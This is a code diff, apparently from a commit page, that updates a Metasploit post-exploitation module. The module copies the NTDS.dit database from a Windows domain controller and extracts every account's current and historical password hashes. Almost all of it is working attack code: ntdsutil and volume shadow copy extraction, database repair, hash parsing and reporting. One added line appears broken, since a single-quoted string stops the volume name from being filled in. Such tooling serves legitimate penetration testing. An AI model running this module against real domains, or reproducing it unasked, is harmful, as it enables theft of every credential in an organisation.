@@ -12,65 +12,88 @@ class MetasploitModule < Msf::Post
12
12
include Msf ::Post ::Windows ::Priv
13
13
include Msf ::Post ::Windows ::ShadowCopy
14
14
include Msf ::Post ::File
15
+ include Msf ::Post ::Windows ::ExtAPI
15
16
16
- def initialize ( info = { } )
17
- super ( update_info ( info ,
18
- 'Name' => 'Windows Domain Controller Hashdump' ,
19
- 'Description' => %q{
17
+ def initialize ( info = { } )
18
+ super (
19
+ update_info (
20
+ info ,
21
+ 'Name' => 'Windows Domain Controller Hashdump' ,
22
+ 'Description' => %q(
20
23
This module attempts to copy the NTDS.dit database from a live Domain Controller
21
24
and then parse out all of the User Accounts. It saves all of the captured password
22
25
hashes, including historical ones.
23
- } ,
24
- 'License' => MSF_LICENSE ,
25
- 'Author' => [ 'theLightCosine' ] ,
26
- 'Platform' => [ 'win' ] ,
27
- 'SessionTypes' => [ 'meterpreter' ]
28
- ) )
29
- deregister_options ( 'SMBUser' , 'SMBPass' , 'SMBDomain' )
26
+ ) ,
27
+ 'License' => MSF_LICENSE ,
28
+ 'Author' => [ 'theLightCosine' ] ,
29
+ 'Platform' => [ 'win' ] ,
30
+ 'SessionTypes' => [ 'meterpreter' ]
31
+ )
32
+ )
33
+ deregister_options ( 'SMBUser' , 'SMBPass' , 'SMBDomain' )
34
+ register_options (
35
+ [ OptBool . new (
36
+ 'CLEANUP' , [ true , 'Automatically delete ntds backup created' , true ]
37
+ ) ]
38
+ )
30
39
end
31
40
32
41
def run
33
42
if preconditions_met?
43
+ print_status "Pre-conditions met, attempting to copy NTDS.dit"
34
44
ntds_file = copy_database_file
35
45
unless ntds_file . nil?
36
46
file_stat = client . fs . file . stat ( ntds_file )
37
47
print_status "NTDS File Size: #{ file_stat . size . to_s } bytes"
38
48
print_status "Repairing NTDS database after copy..."
39
49
print_status repair_ntds ( ntds_file )
40
50
realm = sysinfo [ "Domain" ]
41
- ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
42
- print_status "Started up NTDS channel. Preparing to stream results..."
43
- ntds_parser . each_account do |ad_account |
44
- print_good ad_account . to_s
45
- report_hash ( ad_account . ntlm_hash . downcase , ad_account . name , realm )
46
- ad_account . nt_history . each_with_index do |nt_hash , index |
47
- hash_string = ad_account . lm_history [ index ] || Metasploit ::Credential ::NTLMHash ::BLANK_LM_HASH
48
- hash_string << ":#{ nt_hash } "
49
- report_hash ( hash_string . downcase , ad_account . name , realm )
51
+ begin
52
+ ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
53
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
54
+ print_bad ( "Failed to properly parse database: #{ e } " )
55
+ if e . to_s . include? "1004"
56
+ print_bad ( "Error 1004 is likely a jet database error because the ntds database is not in the regular format" )
50
57
end
51
58
end
52
- print_status "Deleting backup of NTDS.dit at #{ ntds_file } "
53
- rm_f ( ntds_file )
59
+ unless ntds_parser . nil?
60
+ print_status "Started up NTDS channel. Preparing to stream results..."
61
+ ntds_parser . each_account do |ad_account |
62
+ print_good ad_account . to_s
63
+ report_hash ( ad_account . ntlm_hash . downcase , ad_account . name , realm )
64
+ ad_account . nt_history . each_with_index do |nt_hash , index |
65
+ hash_string = ad_account . lm_history [ index ] || Metasploit ::Credential ::NTLMHash ::BLANK_LM_HASH
66
+ hash_string << ":#{ nt_hash } "
67
+ report_hash ( hash_string . downcase , ad_account . name , realm )
68
+ end
69
+ end
70
+ end
71
+ if datastore [ 'cleanup' ]
72
+ print_status "Deleting backup of NTDS.dit at #{ ntds_file } "
73
+ rm_f ( ntds_file )
74
+ else
75
+ print_bad "#{ ntds_file } requires manual cleanup"
76
+ end
54
77
end
55
78
end
56
79
end
57
80
58
81
def copy_database_file
59
82
database_file_path = nil
60
- if start_vss
61
- case sysinfo [ "OS" ]
62
- when /2003| \. NET/
63
- database_file_path = vss_method
64
- when /2008|2012/
65
- database_file_path = ntdsutil_method
66
- else
67
- print_error "This version of Windows is unsupported"
68
- end
83
+ case sysinfo [ "OS" ]
84
+ when /2003| \. NET/
85
+ print_status "Using Volume Shadow Copy Method"
86
+ database_file_path = vss_method
87
+ when /2008|2012|2016 /
88
+ print_status "Using NTDSUTIL method"
89
+ database_file_path = ntdsutil_method
90
+ else
91
+ print_error "This version of Windows is unsupported"
69
92
end
70
93
database_file_path
71
94
end
72
95
73
- def is_domain_controller ?
96
+ def domain_controller ?
74
97
if ntds_location
75
98
file_exist? ( "#{ ntds_location } \\ ntds.dit" )
76
99
else
@@ -79,13 +102,13 @@ def is_domain_controller?
79
102
end
80
103
81
104
def ntds_location
82
- @ntds_location ||= registry_getvaldata ( "HKLM\\ SYSTEM\\ CurrentControlSet\\ services\\ NTDS\\ Parameters\\ " , "DSA Working Directory" )
105
+ @ntds_location ||= registry_getvaldata ( "HKLM\\ SYSTEM\\ CurrentControlSet\\ services\\ NTDS\\ Parameters\\ " , "DSA Working Directory" )
83
106
end
84
107
85
108
def ntdsutil_method
86
- tmp_path = "#{ get_env ( " %WINDIR%" ) } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } "
109
+ tmp_path = "#{ get_env ( ' %WINDIR%' ) } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } "
87
110
command_arguments = "\" activate instance ntds\" \" ifm\" \" Create Full #{ tmp_path } \" quit quit"
88
- result = cmd_exec ( "ntdsutil.exe" , command_arguments , 90 )
111
+ result = cmd_exec ( "ntdsutil.exe" , command_arguments , 90 )
89
112
if result . include? "IFM media created successfully"
90
113
file_path = "#{ tmp_path } \\ Active Directory\\ ntds.dit"
91
114
print_status "NTDS database copied to #{ file_path } "
@@ -97,23 +120,27 @@ def ntdsutil_method
97
120
file_path
98
121
end
99
122
100
-
101
123
def preconditions_met?
102
- unless is_admin?
124
+ if is_admin?
125
+ print_status "Session has Admin privs"
126
+ else
103
127
print_error "This module requires Admin privs to run"
104
128
return false
105
129
end
106
- unless is_domain_controller?
130
+ if domain_controller?
131
+ print_status "Session is on a Domain Controller"
132
+ else
107
133
print_error "This does not appear to be an AD Domain Controller"
108
134
return false
109
135
end
110
136
unless session_compat?
111
137
return false
112
138
end
139
+ load_extapi
113
140
return true
114
141
end
115
142
116
- def repair_ntds ( path = '' )
143
+ def repair_ntds ( path = '' )
117
144
arguments = "/p /o \" #{ path } \" "
118
145
cmd_exec ( "esentutl" , arguments )
119
146
end
@@ -144,13 +171,16 @@ def session_compat?
144
171
end
145
172
146
173
def vss_method
174
+ unless start_vss
175
+ fail_with ( Failure ::NoAccess , "Unable to start VSS service" )
176
+ end
147
177
location = ntds_location . dup
148
- volume = location . slice! ( 0 , 3 )
149
- id = create_shadowcopy ( " #{ volume } " )
178
+ volume = location . slice! ( 0 , 3 )
179
+ id = create_shadowcopy ( ' #{volume}' )
150
180
print_status "Getting Details of ShadowCopy #{ id } "
151
181
sc_details = get_sc_details ( id )
152
182
sc_path = "#{ sc_details [ 'DeviceObject' ] } \\ #{ location } \\ ntds.dit"
153
- target_path = "#{ get_env ( " %WINDIR%" ) } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } "
183
+ target_path = "#{ get_env ( ' %WINDIR%' ) } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } "
154
184
print_status "Moving ntds.dit to #{ target_path } "
155
185
move_file ( sc_path , target_path )
156
186
target_path
0 commit comments